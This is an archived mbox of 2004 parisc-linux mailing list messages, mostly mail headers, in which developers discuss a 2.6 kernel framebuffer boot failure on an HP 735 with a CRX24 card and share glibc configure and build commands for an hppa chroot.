NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28940 invoked by uid 65534); 27 Sep 2004 19:12:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx001) with SMTP; 27 Sep 2004 21:12:24 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6EA7E3BE47; Mon, 27 Sep 2004 13:12:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08583-05; Mon, 27 Sep 2004 13:11:51 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8D38A3BE52; Mon, 27 Sep 2004 13:11:24 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A31D3BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 13:11:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08583-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 13:11:19 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D4F5F3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 13:11:18 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 47CC2494741; Mon, 27 Sep 2004 13:11:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com
	[194.25.134.20]) by palinux.hppa (Postfix) with ESMTP id 8B4FC494740
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Sep 2004 13:11:17 -0600 (MDT)
Original-Received: from fwd08.aul.t-online.de by mailout08.sul.t-online.com with smtp 
	id 1CC0u2-0002d7-00; Mon, 27 Sep 2004 21:11:14 +0200
Original-Received: from ZEUS.lan.pc
	(EX1UyeZr8efT87CvHthiwECD0zNBuz0G1USQZte9XVlkTOOaxHTAw7@[80.144.109.201])
	by fwd08.sul.t-online.com
	with esmtp id 1CC0tp-1GnszA0; Mon, 27 Sep 2004 21:11:01 +0200
User-Agent: KMail/1.7
In-Reply-To: <4152E81E00000BF8@mail-8-bnl.mail.tiscali.sys>
Content-Disposition: inline
X-ID: EX1UyeZr8efT87CvHthiwECD0zNBuz0G1USQZte9XVlkTOOaxHTAw7
X-TOI-MSGID: aa921338-58bd-4e7d-a1f6-88951ec9642a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24946

> Hello Johannes,
>
> [...]
>
> > I tried:
> > palinux-712-defconfig-2.6.8.1-pa11
> > palinux-b180-defconfig-2.6.8.1-pa11
> > palinux-32-2.6.6-pa4
> > palinux-712-defconfig-2.6.6-pa4
> > palinux-b180-defconfig-2.6.6-pa4
> >
> > all with the same result as before.
> >
> > After that I compiled a 2.6.9-rc2-pa7 kernel without support for
> > framebuffer
> >
> > (CONFIG_FB) which booted perfectly with serial console.
>
> Cool :)
>
> > So I think we can track down the problem to the framebuffer driver in
>
> the
>
> > kernels > 2.6 with my graphics device, which should be supported
> > according to
> > the beginning of stifb.c.
>
> I trust that it's a known issue: read the thread on debian-hppa
> <http://lists.debian.org/debian-hppa/2004/09/msg00000.html>
>
> > I attached both, the 2.4 and the 2.6 dmesg.
>
> Thanks
>
> > What could I try next ??
>
> It seems that severall are already working on this pb :).
>
> Regards,
>     Joel
>
> -------------------------------------------------------------------------=
=2D-
> Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en...
> http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR

Hi again,

I don't know if this is really the same problem. The problem described in t=
he=20
link is about the penguin getting his legs chopped. I would be glad if I=20
could even see a penguin, with or without legs :).
Where can I get 2.6.4-hppa-kernels? I tried the source from www.kernel.org,=
=20
but this seems to lack HIL-support and at the cvs.parisc-linux.org site the=
=20
oldest kernels are 2.6.5.
With a 2.6.4 kernel I could verify if I have the same problem as mentioned =
in=20
the link above, because this problem first came up with kernels > 2.6.4.

Regards Johannes

=2D-=20
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
=46ingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No 2.6 kernel on 735/125 with CRX24?
Date: Tue, 28 Sep 2004 07:34:12 +0200
Lines: 103
Approved: news@gmane.org
Message-ID: <4152E64500001139@mail-2-bnl.tiscali.it>
References: <200409272110.59787.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624485 25914 80.91.229.3 (22 Nov 2014 02:48:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: j.raspe@t-online.de
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16840 invoked by uid 65534); 28 Sep 2004 05:35:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx044) with SMTP; 28 Sep 2004 07:35:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C457B3BE6B; Mon, 27 Sep 2004 23:35:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14780-02; Mon, 27 Sep 2004 23:34:51 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CD9D03BE5A; Mon, 27 Sep 2004 23:34:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92EC13BE50
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 23:34:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13858-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 23:34:15 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 399E53BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 23:34:15 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id A1593494740; Mon, 27 Sep 2004 23:34:14 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-2-bnl.tiscali.it (mail-2-bnl.tiscali.it [213.205.33.222])
	by palinux.hppa (Postfix) with ESMTP id 10D0F4940CB
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Sep 2004 23:34:13 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Tue, 28 Sep 2004 07:34:12 +0200
In-Reply-To: <200409272110.59787.j.raspe@t-online.de>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24947


Hello Johannes,
> >
> > [...]
> >
> > > I tried:
> > > palinux-712-defconfig-2.6.8.1-pa11
> > > palinux-b180-defconfig-2.6.8.1-pa11
> > > palinux-32-2.6.6-pa4
> > > palinux-712-defconfig-2.6.6-pa4
> > > palinux-b180-defconfig-2.6.6-pa4
> > >
> > > all with the same result as before.
> > >
> > > After that I compiled a 2.6.9-rc2-pa7 kernel without support for
> > > framebuffer
> > >
> > > (CONFIG_FB) which booted perfectly with serial console.
> >
> > Cool :)
> >
> > > So I think we can track down the problem to the framebuffer driver
in
> >
> > the
> >
> > > kernels > 2.6 with my graphics device, which should be supported
> > > according to
> > > the beginning of stifb.c.
> >
> > I trust that it's a known issue: read the thread on debian-hppa
> > <http://lists.debian.org/debian-hppa/2004/09/msg00000.html>
> >
> > > I attached both, the 2.4 and the 2.6 dmesg.
> >
> > Thanks
> >
> > > What could I try next ??
> >
> > It seems that severall are already working on this pb :).
> >
> > Regards,
> >     Joel
> >
> > ---------------------------------------------------------------------=
------
> > Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-=
en...
> > http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR
> 
> Hi again,
> 
> I don't know if this is really the same problem. The problem described
in
> the 
> link is about the penguin getting his legs chopped. I would be glad if
I
> 
> could even see a penguin, with or without legs :).
I just had the feeling of a stifb pb (It's a ong time that I didn't paly
any more with stifb on my c110 or b180)?

> Where can I get 2.6.4-hppa-kernels? I tried the source from www.kernel.=
org,
> 
Either you choose anonymous co of cvs tree:
see <http://www.parisc-linux.org/faq/cvs.html>

or you grab the tarball at:
<http://cvs.parisc-linux.org/download/linux-2.6/>
(the patch against vanilla src is also available)

> but this seems to lack HIL-support and at the cvs.parisc-linux.org site=

the
> 
> oldest kernels are 2.6.5.
> With a 2.6.4 kernel I could verify if I have the same problem as mentio=
ned
> in 
> the link above, because this problem first came up with kernels > 2.6.4=
.
> 
Hmm good starting point :)

Good luck,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (hppa glibc 2.3.3 exp.) Recompile expect, then
Date: Tue, 28 Sep 2004 08:02:42 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <4152E64500001145@mail-2-bnl.tiscali.it>
References: <200409280202.i8S22dXV020283@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624486 25917 80.91.229.3 (22 Nov 2014 02:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
 carlos@baldric.uwo.ca
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 19080 invoked by uid 65534); 28 Sep 2004 06:03:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 28 Sep 2004 08:03:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5A44C3BE5A; Tue, 28 Sep 2004 00:03:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15010-04; Tue, 28 Sep 2004 00:03:43 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6F2D33BE61; Tue, 28 Sep 2004 00:03:29 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E434C3BE52
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Sep 2004 00:03:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14780-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Sep 2004 00:03:24 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C386F3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Sep 2004 00:03:24 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 73526494740; Tue, 28 Sep 2004 00:03:24 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-2-bnl.tiscali.it (mail-2-bnl.tiscali.it [213.205.33.222])
	by palinux.hppa (Postfix) with ESMTP id E2D244940CB
	for <parisc-linux@parisc-linux.org>;
	Tue, 28 Sep 2004 00:03:23 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Tue, 28 Sep 2004 08:02:42 +0200
In-Reply-To: <200409280202.i8S22dXV020283@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24948


> -- Original Message --
> To: carlos@baldric.uwo.ca (Carlos O'Donell)
> Date: Mon, 27 Sep 2004 22:02:39 -0400 (EDT)
> From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
> Cc: parisc-linux@parisc-linux.org
> Subject: Re: [parisc-linux] (hppa glibc 2.3.3 exp.) Recompile expect,
then
> 
> 
> > What branch do you recommend?
> 
> 3.4.  Some stuff is broken is 4.0.
> 
grr 3.4 is broken to rebuild glibc (not yet any feedback for my br and 3.=
5
deb pkg failed on a ice :( )

Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3 experimental debs - patch
Date: Tue, 28 Sep 2004 10:52:15 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <4152E6450000127C@mail-2-bnl.tiscali.it>
References: <20040928032200.GF27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624486 25920 80.91.229.3 (22 Nov 2014 02:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
 "Elliott Potter" <mailinglist@eep.burdell.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29466 invoked by uid 65534); 28 Sep 2004 08:53:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 28 Sep 2004 10:53:32 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 718E73BE61; Tue, 28 Sep 2004 02:53:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16057-06; Tue, 28 Sep 2004 02:53:20 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3F1DD3BE67; Tue, 28 Sep 2004 02:52:58 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6CC453BE61
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Sep 2004 02:52:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16057-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Sep 2004 02:52:50 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id AEC483BE52
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Sep 2004 02:52:50 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id D5E26494778; Tue, 28 Sep 2004 02:52:49 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-2-bnl.tiscali.it (mail-2-bnl.tiscali.it [213.205.33.222])
	by palinux.hppa (Postfix) with ESMTP id 41C314940CB
	for <parisc-linux@parisc-linux.org>;
	Tue, 28 Sep 2004 02:52:49 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Tue, 28 Sep 2004 10:52:15 +0200
In-Reply-To: <20040928032200.GF27033@baldric.uwo.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24949


>  
> > 2) What's the secret code to compile glibc?  My usual incantation of
> > <patch>
> > ../configure \
> > 	--prefix=3D/usr \
> > 	--mandir=3D/usr/share/man \
> > 	--infodir=3D/usr/share/info \
> > 	--enable-add-ons=3Dlinuxthreads \
> > 	--without-tls \
> > 	--without-__thread \
> > 	--without-cvs \
> > 	--enable-kernel=3D2.4.0 \
> 
> Should be fine.
>  
> > doesn't seem to do the trick.
> 
hmm for my part, I used to configure glibc cvs + Carlos patches with foll=
owing
cmds:
# unset LD_LIBRARY_PATH; unset LD_RUN_PATH; export AUTOCONF=3Dfalse

## !! to install on a chroot fs !! ##
# ../../sources/glibc/configure \
  --target=3Dhppa-linux \
  --host=3Dhppa-linux \
  --build=3Dhppa-linux \
  --prefix=3D/usr \
  --without-cvs \
  --enable-hacker-mode \
  --enable-add-ons=3Dlinuxthreads \
  --enable-profile \
  --with-headers=3D/Develop/parisc-linux/sources/linux/include \
  2>&1 | tee ../../logs/glibc-2.3.3-20040308_Configure

(that was operational since this date :) )

# make 2>&1 | tee ../../logs/glibc-2.3.3-20040308_Make (if you want to sa=
ve
logs in case of fail)

And finaly to install on your chroot fs:
 
# make install_root=3D/mnt/chroot install (!! don't forget to adapt /mnt/=
chroot
to YOUR chroot fs !!)

hth,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: [parisc-linux] No 2.6 kernel on 735/125 with CRX24?
Date: Tue, 28 Sep 2004 13:45:44 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <1CCGQS-0SPGFc0@filter05.bbul.t-online.de>
References: <4152E64500001139@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624486 25922 80.91.229.3 (22 Nov 2014 02:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: soete.joel@tiscali.be
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31192 invoked by uid 65534); 28 Sep 2004 11:46:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 28 Sep 2004 13:46:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 59C083BE47; Tue, 28 Sep 2004 05:46:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17406-05; Tue, 28 Sep 2004 05:46:30 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 598393BE67; Tue, 28 Sep 2004 05:46:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA4403BE5A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Sep 2004 05:46:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17406-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Sep 2004 05:46:05 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 945613BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Sep 2004 05:46:05 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id C38BE494778; Tue, 28 Sep 2004 05:46:04 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout10.sul.t-online.com (mailout10.sul.t-online.com
	[194.25.134.21]) by palinux.hppa (Postfix) with ESMTP id 243C1494777
	for <parisc-linux@parisc-linux.org>;
	Tue, 28 Sep 2004 05:46:03 -0600 (MDT)
Original-Received: from fwd02.aul.t-online.de by mailout10.sul.t-online.com with smtp 
	id 1CCGQc-0000MO-02; Tue, 28 Sep 2004 13:45:54 +0200
Original-Received: from localhost
	(S8GnPiZF8enx8g3GCq6skSTyFH2p8B7TsISPf6z1F0nePuQF34oeUW@[172.18.19.41])
	by filter05.bbul.t-online.de
	with esmtp id 1CCGQS-0SPGFc0; Tue, 28 Sep 2004 13:45:44 +0200
In-Reply-To: <4152E64500001139@mail-2-bnl.tiscali.it>
X-UMS: email
X-Mailer: TOI Kommunikationscenter V4-1-1
X-ID: S8GnPiZF8enx8g3GCq6skSTyFH2p8B7TsISPf6z1F0nePuQF34oeUW@t-dialin.net
X-TOI-MSGID: 426777e6-a699-4c69-a7d9-fb60c3859b4c
